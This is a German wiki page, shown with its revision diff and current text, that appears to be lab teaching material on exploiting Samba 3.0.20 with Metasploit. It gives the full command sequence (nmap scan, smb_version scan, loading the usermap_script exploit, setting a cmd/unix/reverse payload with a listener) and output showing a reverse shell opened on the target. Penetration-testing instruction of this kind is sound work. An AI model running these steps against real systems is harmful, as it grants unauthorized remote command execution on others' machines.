Metasploit Exploit und Payload (Samba): Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
 
(14 dazwischenliegende Versionen desselben Benutzers werden nicht angezeigt)
Zeile 1: Zeile 1:
 
=Schwachstelle suchen=
 
=Schwachstelle suchen=
 
==Mittels nmap einen Port suchen. In diesem Fall Samba==
 
==Mittels nmap einen Port suchen. In diesem Fall Samba==
*map -sV 10.0.10.105 -p 445
+
*nmap -sV 10.0.10.105 -p 445
 
  ...
 
  ...
 
  445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
 
  445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
  
 
=Genaue Version=
 
=Genaue Version=
*Durch nmap kann die genaue Version von Samba nicht gesehen werden.  
+
;Durch nmap kann die genaue Version von Samba nicht gesehen werden.  
*Deshalb wird ein Modul von Metasploit benötigt.
+
;Deshalb wird ein Modul von Metasploit benötigt.
 +
 
 
=msfconsole starten=
 
=msfconsole starten=
 
*msfconsole
 
*msfconsole
 +
;Ab hier geht es in der msfconsole weiter
 +
*msf6 > use auxiliary/scanner/smb/smb_version
 +
;Nun wird noch die RHOSTS (Die IP des Opfers) benötigt:
 +
*msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 10.0.10.105
 +
;Durch den Befehl '''show options''' werden die momentanen Einstellung gezeigt:
 +
*msf6 auxiliary(scanner/smb/smb_version) > show options
 +
;Durch das absetzen von dem Befehl '''run''' kann nun die genaue Samba Version ermittelt werden
 +
*msf6 auxiliary(scanner/smb/smb_version) > run
 +
[*] 10.0.10.105:445      -  Host could not be identified: Unix (Samba 3.0.20-Debian)
  
*'''msf6 >''' use auxiliary/scanner/smb/smb_version
+
=Passendes Module suchen=
 
+
;Um nach Modulen zu suchen die wir nun für diese Version nutzen können muss folgender Befehl abgesetzt werden:
 +
*search Samba 3.0.20
 +
<pre>
 +
Matching Modules
 +
================
  
*Nun wird noch die RHOSTS (Die IP des Opfers) benötigt:
+
  #  Name                                Disclosure Date  Rank      Check  Description
**'''msf5 auxiliary(scanner/smb/smb_version) >''' set RHOSTS 10.82.1.101
+
  -  ----                                ---------------  ----      -----  -----------
 +
  0  exploit/multi/samba/usermap_script  2007-05-14      excellent  No    Samba "username map script" Command Execution
  
  
*Durch den Befehl '''show options''' werden die momentanen Einstellung gezeigt:
+
Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/samba/usermap_script
 +
</pre>
  
;msf5 auxiliary(scanner/smb/smb_version) > show options
 
  
Module options (auxiliary/scanner/smb/smb_version):
+
=Laden das Modul=
Name      Current Setting  Required  Description
+
*use exploit/multi/samba/usermap_script
  ----      ---------------  --------  -----------
+
;Und mittels des Befehls '''info''' kann eine genaue Beschreibung des Modules eingesehen werden.
RHOSTS    10.82.1.101      yes      The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
+
;Anhand der Beschreibung durch '''info''' kann erkannt werden, dass dieses Module zu unserer Version passt und wir hiermit Befehle auf dem Opfer ausführen können.
SMBDomain  .               no        The Windows domain to use for authentication
 
SMBPass                    no        The password for the specified username
 
SMBUser                    no        The username to authenticate as
 
THREADS    1                yes      The number of concurrent threads (max one per host)
 
  
*Durch das absetzen von dem Befehl '''run''' kann nun die genaue Samba Version ermittelt werden
 
 
;msf5 auxiliary(scanner/smb/smb_version) > run
 
[*] 10.82.1.101:445      - Host could not be identified: Unix (Samba 3.0.20-Debian)
 
 
=Passendes Module suchen=
 
 
*Um nach Modulen zu suchen die wir nun für diese Version nutzen können muss folgender Befehl abgesetzt werden:
 
;search Samba 3.0.20
 
Matching Modules
 
================
 
  #  Name                                                  Disclosure Date  Rank      Check  Description
 
  -  ----                                                  ---------------  ----      -----  -----------
 
  0  auxiliary/admin/http/wp_easycart_privilege_escalation  2015-02-25      normal    Yes    WordPress WP EasyCart Plugin Privilege Escalation
 
  1  auxiliary/admin/smb/samba_symlink_traversal                            normal    No    Samba Symlink Directory Traversal
 
  2  auxiliary/dos/samba/lsa_addprivs_heap                                  normal    No    Samba lsa_io_privilege_set Heap Overflow
 
  3  auxiliary/dos/samba/lsa_transnames_heap                                normal    No    Samba lsa_io_trans_names Heap Overflow
 
  4  auxiliary/dos/samba/read_nttrans_ea_list                                normal    No    Samba read_nttrans_ea_list Integer Overflow
 
  5  auxiliary/scanner/rsync/modules_list                                    normal    No    List Rsync Modules
 
  6  auxiliary/scanner/smb/smb_uninit_cred                                  normal    Yes    Samba _netr_ServerPasswordSet Uninitialized Credential State
 
  7  exploit/freebsd/samba/trans2open                      2003-04-07      great      No    Samba trans2open Overflow (*BSD x86)
 
  8  exploit/linux/samba/chain_reply                        2010-06-16      good      No    Samba chain_reply Memory Corruption (Linux x86)
 
  9  exploit/linux/samba/is_known_pipename                  2017-03-24      excellent  Yes    Samba is_known_pipename() Arbitrary Module Load
 
  10  exploit/linux/samba/lsa_transnames_heap                2007-05-14      good      Yes    Samba lsa_io_trans_names Heap Overflow
 
  11  exploit/linux/samba/setinfopolicy_heap                2012-04-10      normal    Yes    Samba SetInformationPolicy AuditEventsInfo Heap Overflow
 
  12  exploit/linux/samba/trans2open                        2003-04-07      great      No    Samba trans2open Overflow (Linux x86)
 
  13  exploit/multi/samba/nttrans                            2003-04-07      average    No    Samba 2.2.2 - 2.2.6 nttrans Buffer Overflow
 
  '''14  exploit/multi/samba/usermap_script                    2007-05-14      excellent  No    Samba "username map script" Command Execution'''
 
  15  exploit/osx/samba/lsa_transnames_heap                  2007-05-14      average    No    Samba lsa_io_trans_names Heap Overflow
 
  16  exploit/osx/samba/trans2open                          2003-04-07      great      No    Samba trans2open Overflow (Mac OS X PPC)
 
 
*Wir entscheiden uns hier für das '''exploit/multi/samba/usermap_script''' Module und schauen uns das Module genauer an indem wir das Module erstmal laden durch:
 
;use exploit/multi/samba/usermap_script
 
*Und mittels des Befehls '''info''' kann eine genaue Beschreibung des Modules eingesehen werden.
 
*Anhand der Beschreibung durch '''info''' kann erkannt werden, dass dieses Module zu unserer Version passt und wir hiermit Befehle auf dem Opfer ausführen können.
 
 
=Konfiguration des Samba Modules=
 
=Konfiguration des Samba Modules=
 
*Für das Module muss wieder der '''RHOST''' und ein '''PAYLOAD''' eingetragen werden.
 
*Für das Module muss wieder der '''RHOST''' und ein '''PAYLOAD''' eingetragen werden.
 
===RHOST===
 
===RHOST===
'''msf5 exploit(multi/samba/usermap_script) >''' set RHOST 10.82.1.101
+
*msf6 exploit(multi/samba/usermap_script) > set RHOST 10.0.10.105
  RHOST => 10.82.1.101
+
  RHOST => 10.0.10.105
 +
 
 
===PAYLOAD===
 
===PAYLOAD===
'''msf5 exploit(multi/samba/usermap_script) >''' set PAYLOAD cmd/unix/reverse
+
*msf6 exploit(multi/samba/usermap_script) > set PAYLOAD cmd/unix/reverse
 
  PAYLOAD => cmd/unix/reverse
 
  PAYLOAD => cmd/unix/reverse
 +
;Mit '''show options''' kann die momentane Konfiguration
 +
*msf6 exploit(multi/samba/usermap_script) > show options
 +
<pre>
 +
Module options (exploit/multi/samba/usermap_script):
  
*Mit '''show options''' kann die momentane Konfiguration
 
'''msf5 exploit(multi/samba/usermap_script) >''' show options
 
 
Module options (exploit/multi/samba/usermap_script):
 
 
   Name    Current Setting  Required  Description
 
   Name    Current Setting  Required  Description
 
   ----    ---------------  --------  -----------
 
   ----    ---------------  --------  -----------
   RHOSTS  10.82.1.101     yes      The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
+
   RHOSTS  10.0.10.105     yes      The target host(s), range CIDR identifier, or hosts file with syn
 +
                                      tax 'file:<path>'
 
   RPORT  139              yes      The target port (TCP)
 
   RPORT  139              yes      The target port (TCP)
+
 
Payload options (cmd/unix/reverse):
+
 
 +
Payload options (cmd/unix/reverse):
 +
 
 
   Name  Current Setting  Required  Description
 
   Name  Current Setting  Required  Description
 
   ----  ---------------  --------  -----------
 
   ----  ---------------  --------  -----------
   LHOST  10.82.10.99     yes      The listen address (an interface may be specified)
+
   LHOST  10.0.10.101     yes      The listen address (an interface may be specified)
 
   LPORT  4444            yes      The listen port
 
   LPORT  4444            yes      The listen port
  
  
*Jetzt den Befehl '''exploit''' absetzen und man hat Zugriff auf das Opfer
+
Exploit target:
msf5 exploit(multi/samba/usermap_script) > exploit
 
 
[*] Started reverse TCP double handler on 10.82.10.99:4444
 
[*] Accepted the first client connection...
 
[*] Accepted the second client connection...
 
[*] Command: echo mH5y7FbXzHZhu0dC;
 
[*] Writing to socket A
 
[*] Writing to socket B
 
[*] Reading from sockets...
 
[*] Reading from socket B
 
[*] B: "mH5y7FbXzHZhu0dC\r\n"
 
[*] Matching...
 
[*] A is input...
 
[*] Command shell session 2 opened (10.82.10.99:4444 -> 10.82.1.101:44347) at 2020-11-02 15:35:17 +0100
 
 
 
  
*Es können Befehle wie '''pwd''', '''cd''' , '''hostname''' usw.. genutzt werden
+
  Id  Name
 +
  --  ----
 +
  0  Automatic
 +
</pre>
 +
=Exploit ausführen=
 +
*msf6 exploit(multi/samba/usermap_script) > exploit
 +
<pre>
 +
[*] Started reverse TCP double handler on 10.0.10.101:4444
 +
[*] Accepted the first client connection...
 +
[*] Accepted the second client connection...
 +
[*] Command: echo jEJ39DSiCoeqjn4t;
 +
[*] Writing to socket A
 +
[*] Writing to socket B
 +
[*] Reading from sockets...
 +
[*] Reading from socket B
 +
[*] B: "jEJ39DSiCoeqjn4t\r\n"
 +
[*] Matching...
 +
[*] A is input...
 +
[*] Command shell session 1 opened (10.0.10.101:4444 -> 10.0.10.105:39012) at 2021-06-30 17:32:28 +0200
 +
</pre>
 +
;Wir haben kein Prompt aber eine Shell

Aktuelle Version vom 28. Juli 2021, 12:15 Uhr

Schwachstelle suchen

Mittels nmap einen Port suchen. In diesem Fall Samba

  • nmap -sV 10.0.10.105 -p 445
...
445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

Genaue Version

Durch nmap kann die genaue Version von Samba nicht gesehen werden.
Deshalb wird ein Modul von Metasploit benötigt.

msfconsole starten

  • msfconsole
Ab hier geht es in der msfconsole weiter
  • msf6 > use auxiliary/scanner/smb/smb_version
Nun wird noch die RHOSTS (Die IP des Opfers) benötigt
  • msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 10.0.10.105
Durch den Befehl show options werden die momentanen Einstellung gezeigt
  • msf6 auxiliary(scanner/smb/smb_version) > show options
Durch das absetzen von dem Befehl run kann nun die genaue Samba Version ermittelt werden
  • msf6 auxiliary(scanner/smb/smb_version) > run
[*] 10.0.10.105:445       -   Host could not be identified: Unix (Samba 3.0.20-Debian)

Passendes Module suchen

Um nach Modulen zu suchen die wir nun für diese Version nutzen können muss folgender Befehl abgesetzt werden
  • search Samba 3.0.20
Matching Modules
================

   #  Name                                Disclosure Date  Rank       Check  Description
   -  ----                                ---------------  ----       -----  -----------
   0  exploit/multi/samba/usermap_script  2007-05-14       excellent  No     Samba "username map script" Command Execution


Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/samba/usermap_script


Laden das Modul

  • use exploit/multi/samba/usermap_script
Und mittels des Befehls info kann eine genaue Beschreibung des Modules eingesehen werden.
Anhand der Beschreibung durch info kann erkannt werden, dass dieses Module zu unserer Version passt und wir hiermit Befehle auf dem Opfer ausführen können.

Konfiguration des Samba Modules

  • Für das Module muss wieder der RHOST und ein PAYLOAD eingetragen werden.

RHOST

  • msf6 exploit(multi/samba/usermap_script) > set RHOST 10.0.10.105
RHOST => 10.0.10.105

PAYLOAD

  • msf6 exploit(multi/samba/usermap_script) > set PAYLOAD cmd/unix/reverse
PAYLOAD => cmd/unix/reverse
Mit show options kann die momentane Konfiguration
  • msf6 exploit(multi/samba/usermap_script) > show options
 
Module options (exploit/multi/samba/usermap_script):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS  10.0.10.105      yes       The target host(s), range CIDR identifier, or hosts file with syn
                                      tax 'file:<path>'
   RPORT   139              yes       The target port (TCP)


Payload options (cmd/unix/reverse):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.0.10.101      yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic

Exploit ausführen

  • msf6 exploit(multi/samba/usermap_script) > exploit
[*] Started reverse TCP double handler on 10.0.10.101:4444 
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo jEJ39DSiCoeqjn4t;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "jEJ39DSiCoeqjn4t\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (10.0.10.101:4444 -> 10.0.10.105:39012) at 2021-06-30 17:32:28 +0200
Wir haben kein Prompt aber eine Shell